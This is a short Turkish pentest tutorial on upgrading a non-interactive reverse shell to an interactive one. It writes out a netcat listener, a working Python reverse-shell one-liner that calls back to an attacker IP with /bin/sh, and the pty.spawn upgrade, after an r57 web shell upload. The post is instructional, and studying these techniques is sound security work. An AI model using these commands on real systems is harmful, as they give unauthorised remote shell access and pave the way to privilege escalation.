TR | Python PTY ile Etkileşimli Shell
Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır.
Şimdi bu senaryoyu gerçekleştirelim.
r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum.
Kendimize reverse shell alabilmek için 4545 portunu dinlemeye alıyoruz.
nc -lvp 4545
Reverse Shell Cheat Sheet‘de verilen komutlardan birini web shell üzerinde çalıştırıp Netcat ile dinlediğimiz porta shell veriyoruz.
Ben Python kullanacağım, kodu kendime göre düzenliyorum
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.36",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bu kodu hedef sistem üzerinde çalıştırıyoruz.
Netcat üzerinden shell geliyor ancak bu non-interactive bir shell olduğundan her zaman bir pentester için yeterli olmayacaktır.
Non-interactive Shell
kısaca tanımlamak gerekirse kullanıcıdan veri girişi alamayan, sadece çıktı verebilen komutların çalıştırılabileceği bir shelldir.
Yukarıda ki ekran görüntüsünde çıktı veren komutların çalıştığını görebiliyorsunuz ancak bir sisteme giren hacker/pentester ın ilk amacı yetki yükseltmek olacaktır ve bunun için ise ilk denenecek şey su / sudo komutları olacaktır ki bu komutlar parola için kullanıcıdan veri girmesini bekler. Bu durumda non-interactive bir shell üzerinde kala kalırız. GCC gibi derleyicileri çalıştırmak içinde yetersiz kalır ve çalıştırılmak istenilen bir exploit derlenemez.
non-interactive bir shelli interactive bir shelle çevirmenin yolu ise Python’dan geçer. Python PTY shelle geçmek için kullanılması gereken python kodu;
python -c 'import pty; pty.spawn("/bin/sh")'
Artık interactive bir shell üzerinde komut çalıştırabiliyoruz…